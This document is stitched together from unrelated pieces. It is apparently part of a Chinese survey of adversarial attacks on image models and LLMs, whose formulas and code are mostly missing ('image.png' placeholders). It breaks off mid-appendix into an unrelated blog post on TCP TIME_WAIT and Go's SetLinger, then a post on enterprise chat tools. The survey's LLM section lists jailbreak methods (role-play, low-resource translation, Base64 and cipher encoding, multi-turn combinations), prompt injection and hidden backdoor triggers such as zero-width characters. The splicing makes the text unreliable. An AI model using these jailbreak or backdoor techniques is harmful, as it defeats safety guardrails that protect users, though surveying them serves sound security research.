为提升迁移性,Dong等人引入动量机制

图片.png

动量机制有助于:

跨越局部极值

稳定优化方向

提升不同模型间的迁移性

3.1.4 PGD(Projected Gradient Descent)

PGD被Madry等人视为对抗鲁棒性的"基准攻击"[8]。算法框架:

PGD的关键创新在于随机初始化,这使得攻击能从不同起始点探索决策边界,显著增强了攻击效果。Madry等人证明,对抗训练若能防御PGD攻击,通常也能防御其他一阶攻击。

3.2 优化类攻击方法

3.2.1 C&W攻击(Carlini & Wagner Attack)

Carlini和Wagner提出的优化攻击[9]被认为是当时最强的白盒攻击方法。核心思想是将对抗样本构造转化为约束优化问题

图片.png

图片.png

C&W攻击的三种变体:

C&W L0:最小化修改像素数量

C&W L2:最小化欧氏距离

C&W L∞:最小化最大像素变化

C&W攻击突破了当时多数防御方法,包括 Defensive Distillation(防御蒸馏)。

图片.png

3.2.2 EAD(Elastic-Net Attack to DNNs)

Chen等人提出基于Elastic Net正则化的优化框架

图片.png

3.3 黑盒攻击方法

3.3.1 基于迁移性的黑盒攻击

利用对抗样本的迁移特性,攻击者可以在本地模型上生成对抗样本,直接用于攻击远程目标模型。

提升迁移性的策略:

使用集成模型(Ensemble)作为替代模型

引入数据增强(Data Augmentation)

使用动量机制稳定优化

3.3.2 基于查询的黑盒攻击

当无法获得目标模型的梯度信息时,可采用基于优化的查询方法。

NES(Natural Evolutionary Strategy)攻击
通过自然进化策略估计梯度:

图片.png

Boundary Attack
从随机噪声出发,沿决策边界逐步逼近目标样本,保持对抗性同时减小扰动。

SPSA(Simultaneous Perturbation Stochastic Approximation):
使用同时扰动随机近似估计梯度,每次仅需两次查询即可获得梯度估计。

3.4 物理对抗攻击

3.4.1 数字域到物理域的挑战

将数字域对抗样本应用到物理世界面临两大挑战:

1 光照变化:拍摄条件的变化导致实际输入与预期不一致

2 视角变换:拍摄角度影响对抗扰动的作用

3.4.2 典型物理攻击方法

RP2(Robust Physical Perturbations)[13]:
通过在不同光照和角度下优化,生成具有物理鲁棒性的对抗贴纸。关键是在优化过程中引入环境变化的模拟:

图片.png

对抗性补丁(Adversarial Patches)[14]:
Brown等人提出生成任意形状的图像补丁,无论贴在图像何处都能触发攻击。优化目标是:

图片.png

通过期望-最大化(Expectation-Maximization)算法求解。

四、新兴攻击前沿

4.1 针对Transformer的对抗攻击

Vision Transformer(ViT)的兴起带来了新的攻击向量。研究表明,ViT的自注意力机制(Self-Attention)存在特殊脆弱性[15]。

Patch-wise攻击:
不同于CNN的像素级攻击,ViT的对抗扰动可以针对Image Patch层面构造:

图片.png

Token级扰动:
在语言模型中,针对输入Token的嵌入向量进行优化,而非原始文本。

4.2 视觉-语言多模态攻击

大型视觉-语言模型(如CLIP、GPT-4V)的对抗研究成为热点[16]。

跨模态迁移攻击:
利用图像和文本模态间的对齐关系,通过修改一模态影响另一模态的表征:

图片.png

链式攻击(Chain of Attack)
CVPR 2025的研究表明,VLM比单一语言模型更易受攻击,原因在于视觉模态对细微扰动的敏感性。攻击策略为:

1在图像空间生成对抗扰动

2通过视觉编码器传递到联合嵌入空间

3影响跨模态注意力机制

4最终导致语言输出错误

4.3 后门攻击(Backdoor Attack)

后门攻击不同于前述的对抗样本,它在训练阶段植入恶意行为。

触发器设计:
常见的触发器模式:

图像角落的特定图案

隐写术嵌入的隐蔽信号

语义级触发(如"特定物体+特定背景")

BadNets攻击
通过在训练集中注入带触发器的样本,使得模型在测试时遇到触发器即输出攻击者指定的类别。

隐式后门攻击:
使用正则化方法使后门激活模式与正常激活模式难以区分:

图片.png

4.4 数据投毒攻击

数据投毒攻击通过污染训练数据来植入后门或降低模型性能。

标签翻转攻击:
将部分训练样本标签改为错误类别,导致决策边界偏移。

清洁标签攻击
更隐蔽的方法,保持标签正确但选择靠近决策边界的困难样本进行微小扰动:

图片.png

4.5 图像对抗样本的不可感知性度量

为了更精确地量化对抗扰动的不可感知性,研究者提出了多种度量方法:

图片.png

五、大语言模型对抗攻击

随着ChatGPT、GPT-4等大语言模型的广泛应用,LLM的对抗安全问题成为研究热点。与传统CV领域的对抗样本不同,LLM面临独特的挑战和攻击方式。

5.1 LLM对抗攻击的特点

离散输入空间:
语言模型的输入是离散的token序列,无法直接应用连续优化方法:
图片.png

语义约束强:
扰动后的文本必须保持语法正确和语义连贯,这比图像扰动约束更强。

黑盒场景为主:
大多数LLM通过API提供服务,攻击者只能访问输入输出接口。

5.2 提示注入攻击(Prompt Injection)

提示注入是目前LLM面临的最严重安全威胁之一。

直接注入:
通过精心设计的提示词覆盖系统指令:

间接注入:
将恶意指令隐藏在看似正常的内容中:

多轮注入:
通过多轮对话逐步引导模型突破安全限制:

形式化定义
图片.png

5.3 对抗性提示生成

基于优化的方法:

GCG(Greedy Coordinate Gradient)
通过贪婪坐标梯度搜索最优后缀扰动:

算法框架:

基于搜索的方法:

遗传算法
将提示词视为基因序列,通过变异、交叉、选择进化:

变异:随机替换token或同义词替换

交叉:组合两个成功的提示词片段

选择:保留攻击成功率高的个体

强化学习方法:
将对抗提示生成建模为序列决策问题:

图片.png

5.4 越狱攻击(Jailbreaking)

越狱攻击旨在绕过LLM的安全护栏。

角色扮演攻击:
通过设定角色场景规避安全限制:

翻译攻击:
利用语言差异绕过过滤器:

将恶意请求翻译为低资源语言

通过LLM处理后再翻译回原语言

某些语言的语义表达可能未被安全训练充分覆盖

编码攻击:
将指令编码为特殊形式:

Base64编码

ASCII/Unicode字符

摩斯电码

凯撒密码

示例:

组合攻击:
结合多种技术的混合攻击:

1使用角色扮演设定上下文

2通过编码隐藏真实意图

3利用多轮对话逐步引导

4添加干扰token迷惑检测器

5.5 LLM后门攻击

触发器植入:
在训练阶段或微调阶段植入后门:

特定词触发:
在输入中包含特定关键词时触发恶意行为:
$$P(恶意输出 | 输入 + 触发词) approx 1$$

句法结构触发:
特定的句子结构触发后门:

隐式触发
使用难以察觉的触发器,如:

特殊标点符号组合

文本末尾的空白字符

Unicode零宽字符

训练数据投毒:
图片.png

5.6 针对RAG系统的对抗攻击

检索增强生成(RAG)系统的攻击向量:

检索阶段攻击:
构造文档使得被错误检索:
图片.png

生成阶段攻击:
在被检索的恶意文档中植入误导信息,使LLM生成错误内容。

多跳推理攻击:
针对需要多步推理的RAG系统,在某个中间步骤注入错误信息,影响最终结论。

5.7 LLM对抗攻击评估

攻击成功率:
图片.png

查询效率:
平均需要的查询次数或轮次。

文本质量:
评估对抗提示的自然度和流畅度,使用:

困惑度(Perplexity)

人工评估

GPT-4等作为裁判

覆盖度:
攻击方法对不同类型任务的有效性:

代码生成

有害内容生成

隐私信息泄露

虚假信息传播

六、扩散模型与生成式AI的对抗研究

生成式AI的快速发展带来了新的安全挑战。扩散模型作为当前最强大的生成模型,其对抗性研究成为前沿方向。

6.1 扩散模型原理回顾

图片.png

6.2 针对扩散模型的对抗攻击

6.2.1 图像到图像生成的对抗攻击

文本引导图像编辑攻击[35]:
通过对抗性文本提示生成恶意图像:

目标优化:
$$max_{delta} mathbb{E}[ ext{损失函数}( ext{生成图像}, ext{目标属性})]$$

例如:

潜在空间对抗扰动:
在扩散模型的潜在空间注入扰动:
图片.png

影响后续的去噪过程,导致生成偏离预期。

6.2.2 针对图像生成的不可见水印攻击

水印移除攻击:
通过添加精心设计的扰动移除生成图像中的水印:

图片.png

水印伪造攻击:
在真实图像中添加伪造的水印,使其被误判为AI生成。

6.2.3 反向攻击与隐私窃取

成员推断攻击:
判断某样本是否在训练集中:
图片.png

训练数据提取[36]:
通过逆向扩散模型恢复训练数据:

攻击算法:

模型反演:
从模型输出恢复敏感训练信息,特别是人脸等敏感数据。

6.3 生成对抗网络的对抗性研究

6.3.1 GAN的脆弱性分析

图片.png

6.3.2 模型窃取攻击

图片.png

6.4 生成式AI的防御策略

6.4.1 对抗训练 for 生成模型

鲁棒去噪器训练:
图片.png

防御性蒸馏:
使用高温蒸馏平滑生成模型的决策边界。

6.4.2 水印与版权保护

不可见水印技术[37]:

基于频域的鲁棒水印:

1将水印嵌入到图像的DCT/DWT系数中

2水印对常见的图像处理具有鲁棒性

3可通过统计检测验证水印存在

基于优化的水印:
图片.png

神经网络水印:
在模型参数中嵌入水印:

触发器集:特定输入产生特定输出

参数 embedding:将水印编码到权重矩阵

6.4.3 生成内容检测

基于检测器的识别:
图片.png

特征包括:

频域统计特征

局部纹理模式

深度特征异常

零样本检测:
利用零样本学习无需训练即可检测:

计算图像在CLIP等模型中的特征分布异常

使用困惑度等指标

多模态检测:
图片.png

6.5 AIGC安全事件与伦理讨论

Deepfake与虚假信息:

政治人物视频伪造

商业诈骗

个人名誉损害

版权侵权争议:

AI训练数据的合法性

生成内容的版权归属

风格模仿的法律边界

内容审核挑战:

海量生成内容的审核难度

跨平台监管的复杂性

技术对抗与军备竞赛

七、深度对抗鲁棒性理论分析

7.1 对抗样本的几何视角

7.1.1 决策边界的曲率分析

从微分几何角度,决策边界的曲率决定了对抗样本的易攻击性。

图片.png

研究表明,深度神经网络的决策边界具有极大的负曲率区域,导致对抗样本的存在。

7.1.2 决策边界的分形维度

决策边界的盒计数维度(Box-counting Dimension):

图片.png

实验表明,深度神经网络的决策边界维度接近输入空间维度,这是对抗样本存在的根本原因之一。

7.1.3 余度假设与线性可分性

余度假设(Excess Capacity Hypothesis):
神经网络参数数量远超训练样本数,导致存在大量决策边界可实现零训练误差。

图片.png

高VC维意味着模型可以记忆训练数据而非学习泛化规律,决策边界在数据点之间扭曲形成对抗样本。

7.2 泛化理论与鲁棒性

7.2.1 泛化界与鲁棒性

图片.png

7.2.2 分布鲁棒优化

图片.png

7.3 信息论视角

7.3.1 互信息与特征学习

图片.png

7.3.2 信息瓶颈的鲁棒性解释

图片.png

从信息论角度,对抗样本的存在是因为模型学习了对分类任务无关的特征。IB理论表明,最优表示应该丢弃输入中的"噪声"(包括对抗扰动),只保留与任务相关的信息。

7.4 对抗样本的因果解释

7.4.1 相关性与因果性

传统深度学习学习的是特征与标签之间的统计关联,而非因果关系。

虚假相关(Spurious Correlation):
例如:训练集中"雪地"背景与"狼"标签高度相关,导致模型对"雪地上的哈士奇"误分类。

对抗样本利用了这些虚假相关特征。

7.4.2 因果表示学习

图片.png

7.5 可证明的鲁棒性下界

7.5.1 准确率-鲁棒性权衡的理论分析

图片.png

7.5.2 神经正切核(NTK)视角

图片.png

NTK理论表明:

标准训练的模型在数据点附近拟合迅速

但在远离数据点的区域泛化能力差

对抗样本恰好位于训练数据流形的"空隙"中

八、端到端实战案例

本章节通过具体案例展示对抗样本攻防的完整流程,从代码实现到结果分析。

8.1 图像分类模型对抗攻击实战

8.1.1 环境准备

图片.png

8.1.2 加载预训练模型

8.1.3 FGSM攻击实现

8.1.4 PGD攻击实现

8.1.5 C&W攻击实现

8.1.6 可视化对比

8.2 对抗训练完整流程

8.2.1 基础对抗训练

8.2.2 TRADES对抗训练

8.3 LLM对抗攻击实战

8.3.1 提示注入攻击示例

8.3.2 GCG攻击算法实现

8.4 扩散模型对抗攻击

8.5 攻击效果评估与对比

图片.png图片.png

九、评估指标与基准

9.1 攻击能力评估

图片.png

9.1.2 扰动幅度

图片.png

9.1.3 查询复杂度(Query Complexity)

图片.png

9.1.4 迁移性

图片.png

9.2 防御能力评估

9.2.1 鲁棒准确率(Robust Accuracy)

图片.png

9.2.2 准确率-鲁棒性权衡

图片.png

9.2.3 认证半径(Certified Radius)

图片.png

9.3 常用数据集

数据集

任务

规模

对抗研究特点

MNIST

手写数字

60K训练/10K测试

入门基准,易防御

CIFAR-10

物体分类

50K训练/10K测试

标准测试集

ImageNet

大规模分类

1.2M训练/50K验证

真实场景基准

TinyImageNet

小规模ImageNet

100K训练/10K测试

计算效率折中

SVHN

门牌号识别

73K训练/26K测试

数字识别场景

9.4 自动化评估工具

Foolbox:
Python库提供统一接口实现多种攻击算法:

ART(Adversarial Robustness Toolbox):
IBM开发的对抗鲁棒性工具箱,提供攻击、防御、评估的完整流程。

CleverHans:
Goodfellow等人开发的早期对抗攻击库,提供FGSM、JSMA等经典算法实现。

十、开放问题与未来方向

10.1 准确率与鲁棒性的根本矛盾

经验表明,提升模型鲁棒性往往以牺牲标准准确率为代价。Schmidt等人从信息论角度证明,在高维数据分布下,实现高准确率和高鲁棒性需要指数级样本复杂度[30]。

这提示可能需要:

新的学习范式:超越纯监督学习

先验知识注入:利用人类视觉先验

因果推理:从相关性转向因果性

10.2 大模型的对抗鲁棒性

随着GPT-4、CLIP等大模型的兴起,新问题涌现:

计算成本:对大模型进行PGD攻击或对抗训练计算开销巨大。研究方向:

参数高效微调(PEFT)结合对抗训练

LoRA(Low-Rank Adaptation)在对抗场景的应用

梯度累积与分布式优化

黑盒迁移攻击:大模型API只提供输入输出接口,如何设计高效查询攻击?

10.3 生成式AI的对抗问题

扩散模型(Diffusion Models)和生成对抗网络(GAN)的对抗研究:

扩散模型反向攻击:
通过优化去噪过程,从模型中恢复训练数据隐私。

生成模型的版权保护:
对抗水印技术保护生成内容不被盗用。

10.4 多模态与联邦学习的安全性

跨模态对抗传播:
视觉-语言-音频多模态模型中,一模态的扰动如何影响其他模态?

联邦对抗学习:
在分布式训练场景下,如何防御恶意客户端的对抗性投毒?

10.5 可证明鲁棒性

现有的经验性防御(如对抗训练)只能提供经验保证。研究方向:

形式化验证:
使用SMT求解器对小型网络进行精确验证。

凸松弛:
将非线性激活函数凸化,得到鲁棒性的可证明上界。

随机平滑扩展:
将随机平滑理论扩展到更复杂的数据分布和网络架构。

10.6 对抗样本的双重性研究

最新研究开始探索对抗样本的积极意义:

数据增强:
利用对抗样本扩充训练集,提升模型泛化能力。

可解释性:
对抗样本揭示模型决策逻辑,帮助理解黑盒模型。

对抗性调试:
通过生成对抗样本发现模型缺陷,指导改进。

10.7 2023-2025最新研究进展

10.7.1 自动对抗攻击(AutoAttack)[39]

Croce和Hein提出的AutoAttack是一个自适应攻击框架,自动选择最优攻击组合:

核心思想:

使用多种攻击方法(APGD-CE, APGD-DLR, FAB, Square)

通过自适应策略选择最有效的攻击

提供更可靠的鲁棒性评估

算法流程:

10.7.2 对抗性微调(Adversarial Fine-tuning)[40]

针对预训练大模型的对抗性微调方法:

方法:

在预训练模型基础上进行对抗性微调

使用较小的学习率和扰动预算

仅微调部分层(如最后几层或注意力层)

优势:

降低计算成本

保留预训练知识

提升下游任务的鲁棒性

10.7.3 基于提示的防御(Prompt-based Defense)[41]

针对LLM的防御新方法:

系统提示工程:

红队测试(Red Teaming):

组建专业红队进行对抗性测试

使用自动化工具生成对抗样本

建立攻击-防御迭代循环

10.7.4 多模态对抗研究进展

CLIP模型的脆弱性[42]:
研究发现视觉-语言预训练模型对特定扰动高度敏感:

视觉扰动向文本空间的迁移

跨模态对抗样本的构造

零样本分类的鲁棒性分析

扩散模型的鲁棒性[43]:
针对Stable Diffusion等模型的攻击:

10.7.5 物理对抗攻击新进展

3D打印对抗物体[44]:
通过3D打印生成物理对抗物体:

优化物体的3D几何结构

考虑不同光照和角度

实际测试验证攻击效果

对抗性纹理(Adversarial Textures):
将对抗扰动应用到现实世界的纹理:

服装图案

车辆涂装

建筑外观

10.7.6 量子计算与对抗鲁棒性

新兴研究方向:

量子对抗攻击:
利用量子算法加速对抗样本生成:

量子梯度估计

量子优化算法(QAOA)

量子机器学习模型的鲁棒性

后量子密码学与AI安全:

抗量子攻击的神经网络

量子密钥分发与模型保护

10.7.7 对抗样本的法律与伦理框架

监管政策:

欧盟AI法案对对抗鲁棒性的要求

NIST AI风险管理框架

ISO/IEC AI安全标准

负责任的AI开发:

对抗鲁棒性作为AI安全指标

红队测试作为标准流程

透明度和可解释性要求

十一、实践建议与最佳实践

11.1 对抗训练实施指南

11.1.1 基础配置

11.1.2 高级技巧

早期停止(Early Stopping):
监控验证集鲁棒准确率,避免过拟合。

课程学习(Curriculum Learning):
图片.png

自适应攻击强度:
根据当前模型鲁棒性动态调整epsilon。

附录:快速参考

A.1 主要攻击算法对比

算法

类型

复杂度

成功率

迁移性

适用场景

FGSM

单步梯度

O(1)

快速测试

I-FGSM

迭代梯度

O(T)

标准攻击

MI-FGSM

动量迭代

O(T)

中-高

迁移攻击

PGD

投影梯度

O(T)

鲁棒训练

C&W

优化

很高

强力攻击

NES

黑盒估计

O(N×T)

N/A

黑盒攻击

A.2 主要防御方法对比

方法

准确率影响

鲁棒性

计算开销

可证明性

对抗训练

中等

TRADES

较小

随机平滑

较大

IBP

较小

输入变换

较小

A.3 常用扰动预算值

今天来讲一讲TCP 的 TIME_WAIT 的问题。这个问题尽人皆知,不过,这次遇到的是不太一样的场景,前两天也解决了,正好写篇文章,顺便把 TIME_WAIT 的那些事都说一说。对了,这个场景,跟我开源的探活小工具 EaseProbe 有关,我先说说这个场景里的问题,然后,顺着这个场景跟大家好好说一下这个事。

目录

问题背景

先说一下背景,EaseProbe 是一个轻量独立的用来探活服务健康状况的小工具,支持http/tcp/shell/ssh/tls/host以及各种中间件的探活,然后,直接发送通知到主流的IM上,如:Slack/Telegram/Discrod/Email/Team,包括国内的企业微信/钉钉/飞书, 非常好用,用过的人都说好 😏。

这个探活工具在每次探活的时候,必须要从头开始建立整个网络链接,也就是说,需要从头开始进行DNS查询,建立TCP链接,然后进行通信,再关闭链接。这里,我们不会设置 TCP 的 KeepAlive 重用链接,因为探活工具除了要探活所远端的服务,还要探活整个网络的情况,所以,每次探活都需要从新来过,这样才能捕捉得到整个链路的情况。

但是,这样不断的新建链接和关闭链接,根据TCP的状态机,我们知道这会导致在探测端这边出现的 TIME_WAIT 的 TCP 链接,根据 TCP 协议的定义,这个 TIME_WAIT 需要等待 2倍的MSL 时间,TCP 链接都会被系统回收,在回收之前,这个链接会占用系统的资源,主要是两个资源,一个是文件描述符,这个还好,可以调整,另一个则是端口号,这个是没法调整的,因为作为发起请求的client来说,在对同一个IP上理论上你只有64K的端口号号可用(实际上系统默认只有近30K,从32,768 到 60,999 一共 60999+1-32768=28,232,你可以通过 sysctl net.ipv4.ip_local_port_range 查看  ),如果 TIME_WAIT 过多,会导致TCP无法建立链接,还会因为资源消耗太多导致整个程序甚至整个系统异常。

试想,如果我们以 10秒为周期探测10K的结点,如果TIME_WAIT的超时时间是120秒,那么在第60秒后,等着超时的 TIME_WAIT 我们就有可能把某个IP的端口基本用完了,就算还行,系统也有些问题。(注意:我们不仅仅只是TCP,还有HTTP协议,所以,大家不要觉得TCP的四元组只要目标地址不一样就好了,一方面,我们探的是域名,需要访问DNS服务,所以,DNS服务一般是一台服务器,还有,因为HTTPS一般是探API,而且会有网关代理API,所以链接会到同一个网关上。另外就算还可以建出站连接,但是本地程序会因为端口耗尽无法bind了。所以,现实情况并不会像理论情况那样只要四元组不冲突,端口就不会耗尽)

为什么要 TIME_WAIT

那么,为什么TCP在 TIME_WAIT 上要等待一个2MSL的时间?

以前写过篇比较宏观的《TCP的那些事》(上篇下篇),这个访问在“上篇”里讲过,这里再说一次,TCP 断链接的时候,会有下面这个来来回回的过程。

我们来看主动断链接的最后一个状态 TIME_WAIT 后就不需要等待对端回 ack了,而是进入了超时状态。这主要是因为,在网络上,如果要知道我们发出的数据被对方收到了,那我们就需要对方发来一个确认的Ack信息,那问题来了,对方怎么知道自己发出去的ack,被收到了?难道还要再ack一下,这样ack来ack回的,那什么谁也不要玩了……是的,这就是比较著名的【两将军问题】——两个将军需要在一个不稳定的信道上达成对敌攻击时间的协商,A向B派出信鸽,我们明早8点进攻,A怎么知道B收到了信?那需要B向A派出信鸽,ack说我收到了,明早8点开干。但是,B怎么知道A会收到自己的确认信?是不是还要A再确认一下?这样无穷无尽的确认导致这个问题是没有完美解的(我们在《分布式事务》一文中说过这个问题,这里不再重述)

所以,我们只能等一个我们认为最大小时来解决两件个问题:

1) 为了 防止来自一个连接的延迟段被依赖于相同四元组(源地址、源端口、目标地址、目标端口)的稍后连接接受(被接受后,就会被马上断掉,TCP状态机紊乱)。虽然,可以通过指定 TCP 的 sequence number 一定范围内才能被接受。但这也只是让问题发生的概率低了一些,对于一个吞吐量大的的应用来说,依然能够出现问题,尤其是在具有大接收窗口的快速连接上。RFC 1337详细解释了当 TIME-WAIT状态不足时会发生什么。TIME-WAIT以下是如果不缩短状态可以避免的示例:

由于缩短的 TIME-WAIT 状态,后续的 TCP 段已在不相关的连接中被接受(来源

 

2)另一个目的是确保远端已经关闭了连接。当最后一个ACK​​ 丢失时,对端保持该LAST-ACK状态。在没有TIME-WAIT状态的情况下,可以重新打开连接,而远程端仍然认为先前的连接有效。当它收到一个SYN段(并且序列号匹配)时,它将以RST应答,因为它不期望这样的段。新连接将因错误而中止:

 

如果远端因为最后一个 ACK​​ 丢失而停留在 LAST-ACK 状态,则打开具有相同四元组的新连接将不起作用 (来源

TIME_WAIT 的这个超时时间的值如下所示:

  • 在 macOS 上是15秒, sysctl net.inet.tcp | grep net.inet.tcp.msl
  • 在 Linux 上是 60秒 cat /proc/sys/net/ipv4/tcp_fin_timeout

解决方案

要解决这个问题,网上一般会有下面这些解法

  • 把这个超时间调小一些,这样就可以把TCP 的端口号回收的快一些。但是也不能太小,如果流量很大的话,TIME_WAIT一样会被耗尽。
  • 设置上 tcp_tw_reuse 。RFC 1323提出了一组 TCP 扩展来提高高带宽路径的性能。除其他外,它定义了一个新的 TCP 选项,带有两个四字节时间戳字段。第一个是发送选项的 TCP 时间戳的当前值,而第二个是从远程主机接收到的最新时间戳。如果新时间戳严格大于为前一个连接记录的最新时间戳。Linux 将重用该状态下的现有 TIME_WAIT 连接用于出站的链接。也就是说,这个参数对于入站连接是没有任何用图的。
  • 设置上 tcp_tw_recycle 。 这个参数同样依赖于时间戳选项,但会影响进站和出站链接。这个参数会影响NAT环境,也就是一个公司里的所有员工用一个IP地址访问外网的情况。在这种情况下,时间戳条件将禁止在这个公网IP后面的所有设备在一分钟内连接,因为它们不共享相同的时间戳时钟。毫无疑问,禁用此选项要好得多,因为它会导致 难以检测诊断问题。(注:从 Linux 4.10 (commit 95a22caee396 ) 开始,Linux 将为每个连接随机化时间戳偏移量,从而使该选项完全失效,无论有无NAT。它已从 Linux 4.12中完全删除)

对于服务器来说,上述的三个访问都不能解决服务器的 TIME_WAIT 过多的问题,真正解决问题的就是——不作死就不会死,也就是说,服务器不要主动断链接,而设置上KeepAlive后,让客户端主动断链接,这样服务端只会有CLOSE_WAIT

但是对于用于建立出站连接的探活的 EaseProbe来说,设置上 tcp_tw_reuse 就可以重用 TIME_WAIT 了,但是这依然无法解决 TIME_WAIT 过多的问题。

然后,过了几天后,我忽然想起来以前在《UNIX 网络编程》上有看到过一个Socket的参数,叫 <code>SO_LINGER,我的编程生涯中从来没有使用过这个设置,这个参数主要是为了延尽关闭来用的,也就是说你应用调用 close()函数时,如果还有数据没有发送完成,则需要等一个延时时间来让数据发完,但是,如果你把延时设置为 0  时,Socket就丢弃数据,并向对方发送一个 RST 来终止连接,因为走的是 RST 包,所以就不会有 TIME_WAIT 了。

这个东西在服务器端永远不要设置,不然,你的客户端就总是看到 TCP 链接错误 “connnection reset by peer”,但是这个参数对于 EaseProbe 的客户来说,简直是太完美了,当EaseProbe 探测完后,直接 reset connection, 即不会有功能上的问题,也不会影响服务器,更不会有烦人的 TIME_WAIT 问题。

Go 实际操作

在 Golang的标准库代码里,net.TCPConn 有个方法 SetLinger()可以完成这个事,使用起来也比较简单:

conn, _ := net.DialTimeout("tcp", t.Host, t.Timeout())

if tcpCon, ok := conn.(*net.TCPConn); ok {
    tcpCon.SetLinger(0)
}

你需要把一个 net.Conn  转型成 net.TCPConn,然后就可以调用方法了。

但是对于Golang 的标准库中的 HTTP 对象来说,就有点麻烦了,Golang的 http 库把底层的这边连接对象全都包装成私有变量了,你在外面根本获取不到。这篇《How to Set Go net/http Socket Options – setsockopt() example 》中给出了下面的方法:

dialer := &net.Dialer{
    Control: func(network, address string, conn syscall.RawConn) error {
        var operr error
        if err := conn.Control(func(fd uintptr) {
            operr = syscall.SetsockoptInt(int(fd), unix.SOL_SOCKET, unix.TCP_QUICKACK, 1)
        }); err != nil {
            return err
        }
        return operr
    },
}

client := &http.Client{
    Transport: &http.Transport{
        DialContext: dialer.DialContext,
    },
}

上面这个方法非常的低层,需要直接使用setsocketopt这样的系统调用,我其实,还是想使用 TCPConn.SetLinger(0) 来完成这个事,即然都被封装好了,最好还是别破坏封闭性碰底层的东西。

经过Golang http包的源码阅读和摸索,我使用了下面的方法:

client := &http.Client{
    Timeout: h.Timeout(),
    Transport: &http.Transport{
      TLSClientConfig:   tls,
      DisableKeepAlives: true,
      DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {
        d := net.Dialer{Timeout: h.Timeout()}
        conn, err := d.DialContext(ctx, network, addr)
        if err != nil {
          return nil, err
        }
        tcpConn, ok := conn.(*net.TCPConn)
        if ok {
          tcpConn.SetLinger(0)
          return tcpConn, nil
        }
        return conn, nil
      },
    },
  }

然后,我找来了全球 T0p 100W的域名,然后在AWS上开了一台服务器,用脚本生成了 TOP 10K 和 20K 的网站来以5s, 10s, 30s, 60s的间隔进行探活,搞到Cloudflare 的 1.1.1.1 DNS 时不时就把我拉黑,最后的测试结果也非常不错,根本 没有 TIME_WAIT 的链接,相关的测试方法、测试数据和测试报告可以参看:Benchmark Report

总结

下面是几点总结

  • TIME_WAIT 是一个TCP 协议完整性的手段,虽然会有一定的副作用,但是这个设计是非常关键的,最好不要妥协掉。
  • 永远不要使用  tcp_tw_recycle ,这个参数是个巨龙,破坏力极大。
  • 服务器端永远不要使用  SO_LINGER(0),而且使用 tcp_tw_reuse 对服务端意义不大,因为它只对出站流量有用。
  • 在服务端上最好不要主动断链接,设置好KeepAlive,重用链接,让客户端主动断链接。
  • 在客户端上可以使用 tcp_tw_reuse  和 SO_LINGER(0)

最后强烈推荐阅读这篇文章 – Coping with the TCP TIME-WAIT state on busy Linux servers

这两天跟 CaliRather 做了一个线上的 Podcast – Ep.5 一起聊聊团队协同。主要是从 IM 工具扩展开来聊了一下团队的协同和相应的工具,但是聊天不是深度思考,有一些东西我没有讲透讲好,所以,我需要把我更多更完整更结构化的想法形成文字。(注:聊天聊地比较详细,本文只是想表达我的主要想法)

目录

国内外的企业 IM 的本质差别

国内企业级在线交流工具主要有:企业微信、钉钉、飞书,国外的则是:Slack、Discord这两大IM工具,你会发现,他们有很多不一样的东西,其中有两个最大的不同,一个是企业管理,一个是企业文化。

企业管理

Slack/Discrod 主要是通过建 Channel ,而国内的IM则主要是拉群。你可能会说,这不是一样的吗?其实是不一样的,很明显,Channel 的属性是相对持久的,而群的属性则是临时的,前者是可以是部门,可以是团队,可以是项目,可以是产品,可以是某种长期存在的职能(如:技术分享),而拉群则是相对来说临时起意的,有时候,同样的人群能被重复地拉出好几次,因为之前临时起意的事做完了,所以群就被人所遗忘了,后面再有事就再来。很明显,Channel 这种方式明显是有管理的属性的,而拉群则是没有管理的

所以,在国内这种作坊式,野蛮粗放式的管理风格下,他们需要的就是想起一出是一出的 IM 工具,所以,拉群就是他们的工作习惯,因为没有科学的管理,所以没有章法,所以,他们不需要把工作内的信息结构化的工具。而国外则不然,国外的管理是精细化的,国外的公司还在重度使用 Email 的通讯方式,而 Email 是天生会给一个主题时行归类,而且 Email 天生不是碎片信息,所以,国外的 IM 需要跟 Email 竞争,因为像 Email 那样给邮件分类,把信息聚合在一个主题下的方式就能在 IM 上找到相关的影子。Channel 就是一个信息分类,相当于邮件分类,Slack 的 回复区和 Discord 的子区就像是把同一个主题信息时行聚合的功能。这明显是懂管理的人做的,而国内的拉群一看就是不懂管理的人干的,或者说是就是满足这些不懂管理的人的需求的。

企业文化

团队协作和团队工作最大的基石是信任,如果有了信任,没有工具都会很爽,如果没有信任,什么工具都没用。信任是一种企业文化,这种文化不仅包括同级间的,还包括上下级间的。但是,因为国内的管理跟不上,所以,就导致了各种不信任的文化,而需要在这里不信任的文化中进行协同工作,国内的 IM 软件就会开发出如下在国外的 IM 中完全没有的功能:

  • 监控员工。获取员工的工作时间以及工作位置。
  • 有详细的已读标注。这样会给对方要回复的压力。
  •  发出的信息不能修改,不能删除,非常有限地可撤回

而国外的 IM 则是,发出的信息可以修改/删除,没有已读标准,也不会监控员工。这种时候,我总是会对工作在这种不信任文化中人感到可怜……如果大家需要靠逼迫的方式把对方拉来跟我一起协作,我们还工作个什么劲啊。

小结

所以,我们可以看到,畸形的企业管理和企业文化下,就会导致畸形的协同工具。最令人感到悲哀的是,有好多同学还觉得国内的钉钉非常之好,殊不知,你之所以感觉好用,是因为你所在的环境是如此的不堪。你看,人到了不同的环境就会有不同的认识,所以,找一个好一些的环境对一个人的成长有多重要

给一些新入行的人的建议就是,一个环境对一个人的认知会有非常大的影响,找一个好的环境是非常重要,如果不知道什么 环境是好的,那就先从不使用钉钉为工作协同软件的公司开始吧……

什么是好的协同工具

我们从上面可以得到,协同的前提条件是你需要有一个基于信任的企业文化,还需要有有结构化思维的科学的管理思维。没有这两个东西,给你的团队再多的工具都不可能有真正好有协同的,大家就是装模作样罢了。

假设我们的管理和文化都没有问题,那下面我们来谈谈协同工具的事。

我个人觉得 IM 这种工具包括会议都不是一种好的协同工具,因为这些工具都无法把信息做到真正的结构化和准确化,用 IM 或是开会上的信息大多都是碎片化严重,而且没有经过深度思考或是准备的,基本都是即兴出来的东西,不靠谱的概率非常大。

找人交流和开会不是有个话题就好的,还需要一个可以讨论的“议案”。在 Amazon 里开会,会前,组织方会把要讨论的方案打印出来给大家看,这个方案是深思过的,是验证过的,是有数据和证据或是引用支撑的,会议开始后,10 -15分钟是没有人说话的,大家都在看文档,然后就开始直接讨论或发表意见,支持还是不支持,还是有条件支持……会议效率就会很高。

